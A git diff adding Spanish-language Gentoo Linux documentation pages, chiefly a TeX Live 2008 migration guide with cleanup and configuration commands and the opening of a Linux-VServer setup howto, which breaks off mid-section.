+Esta página contiene información acerca de la "guía" del proyecto XML, usado
+por la documentación de Gentoo Linux y el sitio Web.
+</abstract>
+
+<version>1.3</version>
+<date>2005-10-10</date>
+
+<chapter>
+<title>Guía XML</title>
+
+<section>
+<body>
+
+<p>
+El equipo de Gentoo Linux utiliza un formato XML especial, llamado <c>Guía
+XML</c> para todos sus documentos y páginas Web.  Si está interesado
+en aprender más acerca de este formato, debería de leer la serie de artículos
+de <uri link="http://www.ibm.com/developerworks">IBM developerWorks</uri>
+<e>Un sitio renacido</e>, escritos  por Daniel Robbins:</p>
+
+<ul>
+    <li>
+      En la <uri link="/doc/es/articles/l-redesign-1.xml">Parte 1</uri>,
+      Daniel crea un plan de acción centrado en un único usuario e introduce
+      <c>pytext</c>, un interprete empotrado en Python.
+    </li>
+    <li>
+      En la <uri link="/doc/es/articles/l-redesign-1.xml">Parte 2</uri>,
+      Daniel muestra el nuevo sistema de documentación <c>Guía XML</c> y
+      establece una lista de correos CVS-log diaria.</li>
+    <li>
+      En la <uri link="/doc/es/articles/l-redesign-1.xml">Parte 3</uri>,
+      Daniel establece un nuevo diseño para unificar todo el sítio.
+    </li>
+    <li>
+      En la <uri link="/doc/es/articles/l-redesign-1.xml">Parte 4</uri>,
+      Daniel completa la conversión a XML/XSLT, corrige unos cuantos errores
+      de compatibilidad con Netscape 4.x, y añade un registro de cambios
+      (Changelog) XML autogenerado al sitio web.</li>
+</ul>
+
+<p>
+También tenemos la <uri link="/doc/es/xml-guide.xml">Guía de
+Documentación de Gentoo Linux</uri> que explica como usar el formato de la
+<c>Guía XML</c>.
+</p>
+
+<!--
+Puede descargar la última versión de todas nuestras herramientas de la
+<c>Guía XML</c> obteniendo este archivo, el cual contiene instantáneas CVS
+de todos los archivos usados para la creación del sitio Web:
+<uri link="/projects/guide-xml-latest.tar.gz">xml-guide-latest.tar.gz
+</uri>. Este archivo tarball es automaticamente regenerado cada vez que el
+sitio Web de Gento Linux es actualizado, de manera que sea siempre el último.
+Instrucciones de como usar los archivos incluidos pueden encontrarse en
+<uri link="/doc/es/xml-guide.xml">Guía de Documentación de Gentoo Linux</uri>
+(Para su información, este archivo tarball contiene instantaneas del
+directorio <path>gentoo-web</path> de nuestro módulo CVS
+<path>gentoo-src</path>).
+</p>
+-->
+
+</body>
+</section>
+</chapter>
+</guide>
+
diff --git a/xml/htdocs/proj/es/tex/index.xml b/xml/htdocs/proj/es/tex/index.xml
new file mode 100644
index 00000000..8fbc420b
--- /dev/null
+++ b/xml/htdocs/proj/es/tex/index.xml
@@ -0,0 +1,34 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<?xml-stylesheet href="/xsl/project.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE project SYSTEM "/dtd/project.dtd">
+<project>
+
+  <name>TeX</name>
+
+  <author title="Autor">
+    <mail link="aballier@gentoo.org">Alexis Ballier</mail>
+  </author>
+
+  <description>
+    El proyecto TeX mantiene ebuilds para distribuciones TeX y
+    paquetes relacionados.
+  </description>
+
+  <longdescription>
+    <p>
+      El proyecto TeX mantiene ebuilds para distribuciones y pauqetes
+      relacionados. Esto incluye app-text/texlive, app-text/tetex, la
+      categoría dev-texlive, la mayor parte de dev-tex y otros
+      cuantos.
+    </p>
+  </longdescription>
+
+  <herd name="tex" />
+
+  <dev role="Member">aballier</dev>
+
+  <resource link="texlive-migration-guide.xml">
+          Como migrar desde teTex o TeX Live 2005 a TeX Live 2007.
+  </resource>
+</project>
diff --git a/xml/htdocs/proj/es/tex/texlive-migration-guide.xml b/xml/htdocs/proj/es/tex/texlive-migration-guide.xml
new file mode 100644
index 00000000..03973e84
--- /dev/null
+++ b/xml/htdocs/proj/es/tex/texlive-migration-guide.xml
@@ -0,0 +1,574 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/es/tex/texlive-migration-guide.xml,v 1.4 2009/04/26 12:09:31 chiguire Exp $ -->
+
+<guide link="/proj/es/tex/texlive-migration-guide.xml" lang="es">
+<title>Guía TeX Live 2008</title>
+
+<author title="Autor">
+  <mail link="aballier@gentoo.org">Alexis Ballier</mail>
+</author>
+<author title="Traductor">
+  <mail link="chiguire"/>
+</author>
+<author title="Traductor">
+  <mail link="srinclan@gmail.com">Sergio D. Rodríguez Inclan</mail>
+</author>
+
+<abstract>
+Esta guía tiene la finalidad de mostrar cómo instalar TeX Live 2008 en
+Gentoo, más específicamente, qué hace falta atender si ya tiene una
+distribución TeX instalada (como tetex o TeX Live 2005).
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>1.5</version>
+<date>2009-04-15</date>
+
+<chapter id="uninstall">
+<title>Una desinstalación limpia</title>
+
+<section>
+<title>Introducción</title>
+<body>
+
+<p>
+En esta sección, asumiremos que ya tiene instalado <c>
+>=app-text/tetex-3</c>. Esto aplica de igual manera si tuviera
+<c>app-text/texlive-2005</c> instalado. En un mundo perfecto sería una
+desinstalación sencilla, pero desafortunadamente no es así.
+</p>
+</body>
+</section>
+
+<section>
+<title>Salvando la configuración anterior</title>
+<body>
+
+<p>
+Si acaso ha modificado la configuración de <c>tetex</c> modificando
+los archivos en <path>/etc/texmf</path>, primero habrá que salvarlos:
+</p>
+
+<pre caption="Salvando los archivos de configuración anteriores">
+$ <i>cp -rf /etc/texmf /tmp/tetex-texmf</i>
+</pre>
+</body>
+</section>
+
+<section>
+<title>Borrando tetex</title>
+<body>
+
+<p>
+Ahora nos podemos deshacer de <c>tetex</c> con seguridad:
+</p>
+
+<pre caption="Borrando tetex">
+# <i>emerge -C tetex</i>
+</pre>
+
+<p>
+Se han reportado algunos errores extraños al haber archivos de
+configuración extraviados bajo el directorio
+<path>/etc/texmf</path>. Para mayor seguridad y una instalación limpia
+de <c>TeX Live</c> recomendamos borrar el archivo
+<path>/etc/texmf/texmf.d/00texmf.cnf</path>:
+</p>
+
+<pre caption="Limpieza de /etc/texmf">
+# <i>rm /etc/texmf/texmf.d/00texmf.cnf</i>
+</pre>
+
+<note>
+No se ha perdido nada porque hemos salvado los archivos de
+configuración viejos.
+</note>
+
+<p>
+Debido a que <c>tetex</c> usa <c>texlinks</c> afuera del ámbito del
+manejador de paquetes, solamente borrar el paquete dejará atras
+enlaces simbólicos perdidos:
+</p>
+
+<pre caption="Enlaces perdidos de tetex">
+$ <i>ls -l /usr/bin/pdftex</i>
+lrwxrwxrwx 1 root root 7 2007-07-09 07:34 /usr/bin/pdftex -> pdfetex
+</pre>
+
+<p>
+Por supuesto, pdfetex ha sido borrado junto con <c>tetex</c>, así que
+el enlace no apuntará a nada y puede ser borrado con seguridad. El
+comando <c>find</c> (ayudado con una extensión GNU) puede ayudarnos
+encontrando y removiendo enlaces simbólicos perdidos interactivamente:
+</p>
+
+<pre caption="Eliminando enlaces simbólicos perdidos interactivamente">
+# <i>find /usr/bin -type l ! -xtype f ! -xtype d -ok rm -f {} \;</i>
+
+&lt; rm ... /usr/bin/pdflatex &gt; ? y
+&lt; rm ... /usr/bin/amstex &gt; ? y
+&lt; rm ... /usr/bin/pdftex &gt; ? y
+&lt; rm ... /usr/bin/eplain &gt; ? y
+&lt; rm ... /usr/bin/jadetex &gt; ? y
+&lt; rm ... /usr/bin/lambda &gt; ? y
+&lt; rm ... /usr/bin/pdfamstex &gt; ? y
+&lt; rm ... /usr/bin/elatex &gt; ? y
+&lt; rm ... /usr/bin/lamed &gt; ? y
+&lt; rm ... /usr/bin/pdfjadetex &gt; ? y
+&lt; rm ... /usr/bin/latex &gt; ? y
+</pre>
+
+<p>
+Esos fueron archivos dejados por mi instalación <c>tetex</c>.
+</p>
+
+<p>
+<c>tetex</c> también usa <c>fmtutil</c> fuera del ámbito del manejador
+de paquetes para generar archivos de formato. Con <c>TeX Live 2008</c>
+ahora construimos la mayoría de los archivos de formato al compilar
+los paquetes que serán instalados en <path>/var/lib/texmf</path>. Esto
+significa que hay que asegurarse que no queden archivos de formatos
+perdidos por ahí:
+</p>
+
+<pre caption="Borrando archivos de formato perdidos">
+# <i>rm -rf /var/lib/texmf/web2c</i>
+</pre>
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Instalando TeX Live 2008 </title>
+<section>
+<body>
+
+<p>
+Después de cumplir los pasos anteriores, la instalación de <c>TeX Live
+2008</c> debería ser sencilla.
+</p>
+
+<pre caption="Instalando TeX Live 2008">
+# <i>emerge texlive</i>
+</pre>
+
+<p>
+En teoría todo debe funcionar perfectamente al quedar instalado. Tal vez
+quiera modificar los parámetros USE de <c>app-text/texlive</c> para
+instalar paquetes TeX adicionales, aunque esto puede ser después.
+<c>app-text/texlive</c> es solo un meta-ebuild que instala los verdaderos
+paquetes de acuerdo a los parámetros USE seleccionados.
+</p>
+
+<p>
+Sin embargo, es posible tener problemas de dependencias, errores al
+instalar un paquete, etc. En estos casos, aconsejamos registrar un bug
+en <uri>https://bugs.gentoo.org</uri>. Al hacerlo, por favor al menos
+acompañe el error con la salida de <c>texconfig conf</c> (ejecutado
+como el mismo usuario que experimentó el problema de instalación, ya
+que las variables de entorno pueden ser importantes), ya que estas son
+las salidas más solicitadas.
+</p>
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title> Configuración</title>
+<section>
+<title>Introducción</title>
+<body>
+
+<p>
+Así como <c>tetex-3</c>, <c>TeX Live</c> en <c>Gentoo</c> tiene tres
+archivos principales de configuración separados, manejados por
+<c>texmf-update</c>. Estos archivos son <path>texmf.cnf</path>,
+<path>fmtutil.cnf</path> y <path>updmap.cfg</path>. Se encuentran en
+<path>/etc/texmf/web2c</path> y no deben modificarse directamente, ya
+los cambios se perderán la próxima vez que se ejecute
+<c>texmf-update</c>.
+</p>
+</body>
+</section>
+
+<section>
+<title>texmf.cnf</title>
+<body>
+
+<p>
+El archivo <path>texmf.cnf</path> es el archivo de configuración
+principal de la instalación TeX y tiene muchas definiciones de
+variables usadas por varios programas.
+</p>
+
+<p>
+El archivo <path>texmf.cnf</path> es el resultado de concatenar los
+archivos en <path>/etc/texmf/texmf.d</path>. Para modificar la
+configuración del entorno TeX, hágalo en estos archivos. Al momento
+de escribir esta guía, el ebuild <c>Gentoo TeX Live</c> instala allí
+seis archivos:
+</p>
+
+<pre caption="Archivos instalados bajo texmf.d">
+00header.cnf
+05searchpaths.cnf
+10standardpaths.cnf
+15options.cnf
+20sizes.cnf
+25misc.cnf
+</pre>
+
+<p>
+Este es el resultado de la separación de las respectivas secciones de
+un (ligeramente) modificado archivo <path>texmf.cnf</path> del DVD
+<c>TeX Live 2008</c>.
+</p>
+
+<p>
+Los archivos <path>00header.cnf</path>,
+<path>05searchpaths.cnf</path>, <path>10standardpaths.cnf</path> y
+<path>25misc.cnf</path> no deben ser modificados y mantenidos tal
+cual. Si los valores por defecto pueden mejorarse, por favor registre
+un bug.
+</p>
+
+<warn>
+Los ebuilds de <c>TeX Live</c> no entienden de cambios de trayectoria
+de estos archivos, por lo que, de hacer algun cambio, asegúrese de
+saber bien lo que hace.
+</warn>
+
+<p>
+Los archivos <path>15options.cnf</path> y <path>20sizes.cnf</path>
+pueden ser modificados con cuidado. Los comentarios en estos archivos
+son suficientemente explícitos para describir las opciones. Por
+ejemplo, en <path>20sizes.cnf</path> puede aumentarse la memoria de
+TeX, en caso de compilar un documento muy grande y se tropiece con
+errores como <c>TeX capacity exceeded, sorry</c>.
+</p>
+
+<p>
+Si desea agregar algo al archivo <path>texmf.cnf</path>, puede crear
+un archivo nuevo en <path>/etc/texmf/texmf.d</path>, con un nombre
+como <path>99myadditions.cnf</path>. Asegúrese de no darle una
+prioridad más alta que los archivos principales de configuración, por
+lo que debe comenzar con dos dígitos mayores a <c>25</c>.
+</p>
+
+<p>
+Los paquetes que requieran agregar algo al archivo
+<path>texmf.cnf</path> reciben el mismo tratamiento y deben instalar
+un archivo <path>texmf.d</path>:
+</p>
+
+<pre caption="Código de ejemplo para instalar un archivo texmf.d">
+<keyword>insinto</keyword> <const>/etc/texmf/texmf.d</const>
+<keyword>doins</keyword> <const>40mytexmfadditions.cnf</const>
+</pre>
+</body>
+</section>
+
+<section>
+<title>updmap.cfg</title>
+<body>
+
+<p>
+<path>updmap.cfg</path> es el archivo de configuración usado por
+<c>updmap</c> (y <c>updmap-sys</c>), si no se especifica lo
+contrario. Dice cuales mapas de fuentes tipográficas actualizar para
+los distintos controladores de salida de TeX.
+</p>
+
+<p>
+El archivo <path>updmap.cfg</path> en <path>/etc/texmf/web2c</path> es
+el resultado de la concatenación de los archivos en
+<path>/etc/texmf/updmap.d</path>. El archivo <path>00updmap.cfg</path>
+inicial instalado por <c>app-text/texlive-core</c> es el resultado de
+<c>updmap --syncwithtrees</c> sobre el árbol <c>texmf</c>
+instalado (de hecho, solo imita lo que haría el comando <c>updmap
+--syncwithtrees</c>, aunque esto es apenas un detalle técnico).
+</p>
+
+<p>
+Diversos ebuilds de <c>TeX Live</c> agregarán archivos al directorio
+<path>/etc/texmf/updmap.d</path>, al instalar fuentes
+tipográficas. Aunque podemos modificar estos archivos y desactivar
+algun mapa de fuente a actualizar, probablemente sea mejor borrar el
+paquete en cuestión.
+</p>
+
+<p>
+Si un paquete de terceros quiere agregar algun mapa de fuentes, debe
+instalar el archivo en <path>/etc/texmf/updmap.d</path> y dejar que
+<c>texmf-update</c> lo maneje.
+</p>
+
+<warn>
+A veces se puede ver <c>updmap-sys --enable Map=mymap.map</c> en
+algunos ebuilds o instrucciones de instalación de un paquete de
+fuentes de un tercero. Mientras esto funciona al momento, estos
+cambios serán revertidos la próxima vez que se ejecute
+<c>texmf-update</c>.
+</warn>
+
+<p>
+Una mejor manejar esto sería crear un archivo a instalar en
+<path>/etc/texmf/updmap.d</path> e instalarlo para las distribuciones
+TeX que soportan la forma de funcionamiento de <c>texmf-update</c>:
+</p>
+
+<pre caption="Como activar un mapa de fuente">
+<keyword>inherit</keyword> <ident>latex-package</ident>
+...
+<stmt>src_install()</stmt> {
+    ...
+    <keyword>if</keyword> <stmt>latex-package_has_tetex_3</stmt>; then
+        <keyword>insinto</keyword> /etc/texmf/updmap.d
+        <keyword>doins</keyword> myfontmapconfig.cfg
+    <keyword>fi</keyword>
+    ...
+}
+...
+<stmt>pkg_postinst()</stmt> {
+    <stmt>latex-package_pkg_postinst</stmt>
+    <stmt>latex-package_has_tetex_3</stmt> || updmap-sys --enable Map=mymap.map
+}
+
+<stmt>pkg_postrm()</stmt> {
+    <stmt>latex-package_pkg_postinst</stmt>
+    <stmt>latex-package_has_tetex_3</stmt> || updmap-sys --disable Map=mymap.map
+}
+</pre>
+
+<p>
+Los archivos en <path>/etc/texmf/updmap.d</path> deben respetar la
+sintaxis de <c>updmap</c>:
+</p>
+
+<pre caption="Fragmento de updmap.cfg explicando la sintaxis">
+There are two possible entries: Map and MixedMap. Both have one additional
+argument: the file name of the map file. MixedMap ("mixed" means that
+the font is available as bitmap and as outline) lines will not be used
+in the default map of dvips if dvipsPreferOutline is false. Inactive
+Map files should be marked by "#! " (without the quotes), not just #.
+</pre>
+</body>
+</section>
+
+<section>
+<title>fmtutil.cnf</title>
+<body>
+
+<p>
+El archivo <path>fmtutil.cnf</path> contiene información acerca de
+cómo construir y manejar un archivo de formato.
+</p>
+
+<p>
+El archivo <path>fmtutil.cnf</path> es el resultado de la
+concatenación de los archivos en
+<path>/etc/texmf/fmtutil.d</path>. Varios ebuilds de <c>TeX Live</c>
+instalan archivos allí. Estos archivos vienen con los formatos que
+soportan y con los enlaces simbólicos a los motores relevantes.
+</p>
+
+<pre caption="Fragmento de la página man de fmtutil.cnf(5) explicando la sintaxis">
+The fmtutil.cnf file contains the configuration information for fmtutil(8).
+Each line contains the name of the format (e.g., "tex", "latex", "omega"),
+the name of the engine that is used by that format (e.g., "tex", "etex", "omega"),
+the pattern file (e.g., language.dat, language.def), and any arguments
+(name of an .ini file).
+
+Fields are separated by whitespace and complete lines can be commented out with "#".
+The "pattern file" field cannot be used to define a file that is used while
+building the format. It tells fmtutil which file the format creation procedure reads
+and it has an effect to the options --showhyphen and --byhyphen.
+If the format has no way to customize hyphenation, a "-" can be used to indicate this.
+</pre>
+
+<p>
+Los ebuilds de <c>TeX Live</c> que instalan un archivo
+<path>fmtutil.d</path> instalan los archivos de formato relevantes en
+<path>/var/lib/texmf/web2c</path>, creando un enlace simbólico del
+formato al motor.
+</p>
+
+<p>
+Notese que al incluir un archivo de soporte para un idioma,
+<c>texmf-update</c> se encargará de agregarlo al archivo
+<path>language.dat</path> y de regenerar los archivos de formato para
+soportar el idioma recién agregado.
+</p>
+</body>
+</section>
+
+<section>
+<title>Actualizando la configuración</title>
+<body>
+
+<p>
+Ahora que sabemos acerca del manejo de la configuración de <c>TeX
+Live</c>, podremos adaptar los cambios realizados a nuestra antigua
+distribución TeX al nuevo <c>TeX Live</c>.
+</p>
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Errores comunes</title>
+
+<section>
+<title>Introducción</title>
+<body>
+
+<p>
+En este capítulo trataremos de resumir los errores más comunes y
+dar explicaciones.
+</p>
+</body>
+</section>
+
+<section>
+<title>Format fue escrito por (pdf)etex</title>
+<body>
+
+<p>
+A veces, al instalar algunos paquetes que requieren latex, obtendremos
+este error:
+</p>
+
+<pre caption="Formato fue escrito por pdfetex">
+---! //var/lib/texmf/web2c/latex.fmt was written by pdfetex
+</pre>
+
+<p>
+Esto es debido a que permanecen archivos de una instalación anterior
+de una distribución <c>TeX</c> basada en <c>etex</c>. Es probable que
+no haya seguido acuciosamente esta guía, especialmente el capítulo
+<uri link="#uninstall">Una desinstalación limpia</uri>.
+</p>
+
+<p>
+Sin embargo, es posible solucionar esto rápidamente sin
+reinstalaciones, ejecutando como usuario root:
+</p>
+
+<pre caption="Borrando formatos viejos">
+# <i>rm -rf /var/lib/texmf/web2c</i>
+# <i>texmf-update</i>
+</pre>
+</body>
+</section>
+
+<section>
+<title>No existe el directorio de formatos</title>
+<body>
+
+<p>
+Por ejemplo, al instalar <c>texlive-latex</c>, podríamos encontrar
+este error:
+</p>
+
+<pre caption="Format directory does not exist">
+fmtutil: format directory
+`/var/tmp/portage/dev-texlive/texlive-latex-2008/work/texmf-var/web2c' does not
+exist.
+</pre>
+
+<p>
+Esto es probablemente por una configuración errónea. Intente ejecutar
+el siguiente comando a ver si obtiene resultados iguales:
+</p>
+
+<pre caption="Definición de TEXMFMAIN">
+$ <i>kpsewhich --var-value=TEXMFMAIN</i>
+/usr/share/texmf
+</pre>
+
+<p>
+Esto es muy importante, ya que <c>fmtutil</c> busca a <c>mktexdir</c>
+en esta ubicación; si obtienen un resultado distinto entonces
+<c>fmtutil</c> no encontrará <c>mktexdir</c> y no podrá crear este
+directorio donde temporalmente almacena los formatos compilados.
+</p>
+
+<p>
+No existe un comando mágico para arreglar esto, revise que la
+configuración sea correcta y que no haya archivos de configuración
+extraviados en <path>/etc/texmf/texmf.d</path>. Esto es probablemente
+debido a la existencia de un antíguo <path>00texmf.cnf</path>
+proporcionando definiciones equivocadas para el archivos
+<path>texmf.cnf</path>. Por favor, refiérase al capítulo <uri
+link="#uninstall">Una desintalación limpia</uri>.
+</p>
+</body>
+</section>
+
+<section>
+<title>Archivos .tex faltantes</title>
+<body>
+
+<p>
+Al instalar <c>texlive-latex</c> (o cualquier otro formato con soporte
+de guionización babel), podría tropezarse con un error como este:
+</p>
+
+<pre caption="Falta bghyphen.tex">
+===========================================
+Local configuration file hyphen.cfg used
+===========================================
+
+(/var/tmp/portage/dev-texlive/texlive-latex-2008/work/texmf-dist/tex/generic/ba
+bel/hyphen.cfg (/usr/share/texmf/tex/generic/hyphen/hyphen.tex)
+(/usr/share/texmf/tex/generic/hyphen/ushyphmax.tex)
+(/usr/share/texmf/tex/generic/hyphen/dumyhyph.tex)
+(/usr/share/texmf/tex/generic/hyphen/zerohyph.tex)
+(/usr/share/texmf/tex/generic/hyphen/zerohyph.tex)
+(/usr/share/texmf-dist/tex/generic/xu-hyphen/xu-bahyph.tex
+(/usr/share/texmf/tex/generic/hyphen/bahyph.tex))
+(/usr/share/texmf-dist/tex/generic/xu-hyphen/xu-bghyphen.tex
+! I can't find file `bghyphen.tex'.
+l.10   \input bghyphen.tex
+
+Please type another input file name:
+! Emergency stop.
+l.10   \input bghyphen.tex
+
+No pages of output.
+Transcript written on latex.log.
+Error: `pdftex -ini  -jobname=latex -progname=latex
+-translate-file=cp227.tcx *latex.ini' failed
+</pre>
+
+<p>
+En este caso hay que revisar cuál archivo <path>language.dat</path>
+está en uso:
+</p>
+
+<pre caption="Encontrando language.dat">
+$ <i>kpsewhich language.dat</i>
+/usr/share/texmf/tex/generic/config/language.dat
+</pre>
+
+<p>
+Este archivo es generado automáticamente por <c>texmf-update</c> y es
+el resultado de concatenar los archivos <path>language.*.dat</path> en
+el directorio donde se encuentre <path>language.us</path>. Este
+directorio debe ser el
+<path>/usr/share/texmf/tex/generic/config/</path>. Entonces, revise
+que no hayan otros archivos <path>language.*.dat</path> en ese
+directorio que los instalados por los distintos ebuilds
+<c>dev-texlive/texlive-lang*</c>. Un archivo en este directorio
+significa que desea activar soporte para guionizar en ese idioma y si
+no tiene este soporte de guionización, causará que los formatos que
+requieran este soporte no puedan ser construidos.
+</p>
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/es/vps/vserver-howto.xml b/xml/htdocs/proj/es/vps/vserver-howto.xml
new file mode 100644
index 00000000..c389fd01
--- /dev/null
+++ b/xml/htdocs/proj/es/vps/vserver-howto.xml
@@ -0,0 +1,468 @@
+<?xml version = '1.0' encoding = 'UTF-8' ?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/es/vps/vserver-howto.xml,v 1.4 2009/04/26 14:36:40 chiguire Exp $ -->
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<guide link="/proj/es/vps/vserver-howto.xml" lang="es">
+<title>Cómo Gentoo Linux-VServer</title>
+
+<author title="Autor" >
+  <mail link="hollow@gentoo.org" >Benedikt Boehm</mail>
+</author>
+<author title="Editor" >
+  <mail link="fox2mike@gentoo.org" >Shyam Mani</mail>
+</author>
+<author title="Traductor" >
+  <mail link="chiguire@gentoo.org" >John Christian Stoddart</mail>
+</author>
+<author title="Traductor" >
+  <mail link="yoswink@gentoo.org" >José Luis Rivero</mail>
+</author>
+<author title="Traductor" >
+  <mail link="carles@carles.no-ip.info" >Carles Ferrer Peris</mail>
+</author>
+
+<abstract>
+En este Cómo aprenderemos a poner en marcha un servidor virtual básico
+usando la Tecnología Linux-VServer
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>1.11</version>
+<date>2008-03-03</date>
+
+<chapter>
+<title>Introducción</title>
+<section>
+<title>El concepto Linux-VServer</title>
+<body>
+
+<p>
+El concepto básico de una solución Linux-VServer es dividir el entorno
+de espacio de usuario en unidades separadas (llamadas a veces
+Servidores Virtuales Privados, &quot;Virtual Private Servers&quot; en
+inglés) de tal forma que cada VPS parece y se comporta como un
+servidor verdadero de cara a los procesos contenidos dentro.
+</p>
+</body>
+</section>
+
+<section>
+<title>Terminología usada en este Cómo</title>
+<body>
+
+<table>
+<tr>
+  <th>Término</th>
+  <th>Descripción</th>
+</tr>
+<tr>
+  <th>Linux-VServer, VServer</th>
+  <ti>
+    Linux-VServer es el nombre oficial del proyecto y es usado en este
+    documento de la misma manera
+  </ti>
+</tr>
+<tr>
+  <th>servidor virtual, vserver, sistema huésped, guest</th>
+  <ti>
+    Son todos términos intercambiables y se refieren a una instancia
+    de un servidor (es decir, un servidor virtual)
+  </ti>
+</tr>
+<tr>
+  <th>sistema anfitrión, host</th>
+  <ti>
+    La máquina física que ejecuta Gentoo Linux y albergará todos los
+    servidores virtuales
+  </ti>
+</tr>
+<tr>
+  <th>util-vserver</th>
+  <ti>
+    El paquete <c>util-vserver</c> contiene todos los programas
+    necesarios para mantener los servidores virtuales
+  </ti>
+</tr>
+</table>
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Configuración del anfitrión</title>
+<section>
+<title>Instalación del núcleo VServer</title>
+<body>
+
+<pre caption="Instalación de vserver-sources" >
+# <i>emerge vserver-sources</i>
+</pre>
+
+<p>
+Después de que las vserver-sources se hayan instalado es el momento de
+configurarlas usando <c>make menuconfig</c>. A continuación se muestra
+una configuración común para versiones 2.1.1 y posteriores. Si usa
+2.0.x algunas opciones de configuración pude que no estén presentes.
+</p>
+
+<pre caption="Configuración de vserver-sources" >
+# <i>cd /usr/src/linux-&lt;KERNELVERSION>-vserver-&lt;VSERVERVERSION></i>
+# <i>make menuconfig</i>
+
+Linux VServer ---&gt;
+<comment>(No habilite las opciones "legacy")</comment>
+  [ ] Enable Legacy Kernel API
+  [ ] Enable Legacy Networking Kernel API
+<comment>(Lea la ayuda)</comment>
+  [ ] Remap Source IP Address
+  [*] Enable COW Immutable Link Breaking
+  [ ] Enable Virtualized Guest Time
+  [*] Enable Proc Security
+  [*] Enable Hard CPU Limits
+  [*]   Avoid idle CPUs by skipping Time
+  [*]   Limit the IDLE tas
+      Persistent Inode Context Tagging (UID24/GID24)  ---&gt;
+  [ ] Tag NFSD User Auth and Files
+  [*] Enable Inode Tag Propagation
+  [*] Honor Privacy Aspects of Guests
+  [ ] VServer Debugging Code
+</pre>
+
+<note>
+Si utilizamos reiserfs como sistema de ficheros en la partición donde
+se almacenan las imágenes de loa huéspedes, deberemos habilitar los
+atributos extendidos de reiserfs en la configuración del núcleo y
+adicionalmente añadir la opción <c>attrs</c> en
+<path>/etc/fstab</path>.
+</note>
+
+<pre caption="Configurar las opciones de reiserfs">
+File systems  --->
+  &lt;*&gt; Reiserfs support
+  [*]   ReiserFS extended attributes
+</pre>
+
+<pre caption="Ejemplo de fstab con atributos extendidos">
+/dev/hdb1 /vservers reiserfs noatime,attrs 0 0
+</pre>
+
+<p>
+Después de haber compilado e instalado el núcleo, hay que actualizar
+el gestor de arranque y finalmente reiniciar para ver si el núcleo
+arranca correctamente.
+</p>
+
+<pre caption="Instalación del kernel" >
+<comment>(Compilar el núcleo)</comment>
+# <i>make</i>
+<comment>(Instalación)</comment>
+# <i>make modules_install</i>
+# <i>cp arch/&lt;arch&gt;/boot/bzImage /boot/kernel-&lt;KERNELVERSION&gt;-vserver-&lt;VSERVERVERSION&gt;</i>
+<comment>(Editar el fichero de configuración del gestor de arranque como se necesite y)</comment>
+# <i>reboot</i>
+</pre>
+</body>
+</section>
+
+<section>
+<title>Configuración del entorno del anfitrión</title>
+<body>
+
+<p>
+Para mantener los servidores virtuales se necesita el paquete
+util-vserver que contiene todos los programas necesarios y algunas
+utilidades prácticas.
+</p>
+
+<pre caption="Instalar util-vserver" >
+# <i>emerge >=sys-cluster/util-vserver-0.30.212</i>
+</pre>
+
+<p>
+Se debe ejecutar el comando <c>vprocunhide</c> después de cada
+reinicio para establecer los permisos adecuados en <path>/proc</path>
+para los huéspedes vserver. util-vserver acaba de instalar dos guiones
+de inicio que ejecutan el comando <c>vprocunhide</c> y tienen cuidado de
+los servidores virtuales durante el apagado del anfitrión.
+</p>
+
+<pre caption="Guiones de inicio de util-vserver" >
+# <i>rc-update add vprocunhide default</i>
+# <i>/etc/init.d/vprocunhide start</i>
+# <i>rc-update add util-vserver default</i>
+# <i>/etc/init.d/util-vserver start</i>
+</pre>
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Creación de un huesped</title>
+<section>
+<title>Descargar un stage3 precompilado</title>
+<body>
+
+<p>
+Puesto que muchos comandos relacionados con el hardware no están
+disponibles dentro de un servidor virtual, se ha parcheado una versión
+del baselayout llamada baselayout-vserver. Sin embargo, desde
+baselayout-2/openrc, todos los cambios necesarios se han integrado,
+eliminando la necesidad de stages, perfiles y baselayout de vserver
+separados. El único (temporalmente) inconveniente es que
+baselayout-2/openrc todavía está en etapa de prueba (~arch) y aún no
+se encuentran stages con baselayout-2/openrc en los servidores espejo.
+</p>
+
+<p>
+Tan pronto baselayout-2/openrc se considere estable, puede usar un
+stage3 precompilado de uno de nuestros <uri
+link="/main/en/mirrors.xml">servidores espejo</uri>. Mientras tanto,
+por favor descarge un fichero stage3 o gentoo-vserver de <uri
+link="http://people.linux-vserver.org/~hollow/stages/">aquí</uri>.
+Puesto que un stage3 contiene un sistema de ficheros root completo,
+puede usar el método de creación por plantilla de util-vserver. Sin
+embargo, este método sólo funciona de forma segura desde
+util-vserver-0.30.213_rc5, por tanto asegúrese de tener instalada la
+versión correcta.
+</p>
+
+<p>
+Hay que elegir un ID de contexto para el vserver (no se aconsejan los
+IDs de contexto dinámicos) así como la información necesaria para el
+dispositivo de red (en este ejemplo eth0 se configura con
+192.168.1.253/24 y el ID de contexto es igual a las dos últimas partes
+de la IP de los servidores virtuales).
+</p>
+
+<note>
+El ID de contexto debe ser 1 &lt; ID &lt; 49152.
+</note>
+</body>
+</section>
+
+<section>
+<title>Uso del método de creación por plantilla</title>
+<body>
+
+<p>
+Desde hace mucho tiempo, el único estilo de inicio disponible en
+gentoo ha sido el estilo de inicio sencillo, es decir un proceso
+normal de inicio será iniciado dentro del huésped, tal como se hace en
+cualquier sistema Unix común. Sin embargo, este método tiene algunos
+inconvenientes:
+</p>
+
+<ul>
+  <li>No es posible ver la salida de los guiones init/rc</li>
+  <li>Recursos malgastados para los procesos de inicio idle en cada huésped</li>
+  <li>Molestos conflictos para <path>/etc/inittab</path></li>
+</ul>
+
+<p>
